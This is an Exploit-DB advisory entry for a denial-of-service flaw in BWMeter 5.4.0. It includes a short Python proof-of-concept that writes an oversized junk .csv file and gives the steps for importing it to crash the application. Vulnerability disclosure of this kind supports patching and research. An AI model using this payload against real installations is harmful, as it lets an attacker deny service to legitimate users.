BWMeter 5.4.0 - '.csv' Denial of Service

Author: b0telh0
type: dos
platform: windows
port: 
date_added: 2011-02-17  
date_updated: 2011-03-13  
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt16500/16180.png  
application_url: http://www.exploit-db.comBMSetup.exe  

raw file: 16180.py  

GotGeek Labs
http://www.gotgeek.com.br/

BWMeter v5.4.0 (.csv) Denial of Service



[+] Description

BWMeter is a powerful bandwidth meter, monitor, traffic controller and
firewall, which measures, displays and controls all traffic to/from your
computer or on your network.



[+] Information

Title: BWMeter v5.4.0 (.csv) Denial of Service
Advisory: gg-002-2011
Date: 02-14-2011
Last update: 02-16-2011
Link: http://www.gotgeek.com.br/pocs/gg-002-2011.txt
Tested on: Windows XP SP3



[+] Vulnerability

BWMeter is affected by denial of service vulnerability.
Successful exploitation of the vulnerability allows an attacker to crash the
vulnerable application, denying service to legitimate users.

Affected Versions:
BWMeter v5.4.0

Other versions may also be vulnerable.



[+] Proof of Concept/Exploit

#!/usr/bin/python
#


junk = "\x47\x47" * 2500

try:
    file = open('b0t.csv','w');
    file.write(junk);
    file.close();
    print "\n[*] gotgeek labs"
    print "[*] http://gotgeek.com.br\n"
    print "[+] b0t.csv created."
    print "[+] Open BWMeter.exe..."
    print "[+] Statistics >> Import"
    print "[+] and Select b0t.csv\n"
except:
    print "\n[-] Error.. Can't write file to system.\n"



[+] References

http://www.desksoft.com/BWMeter.htm



[+] Credits

b0telh0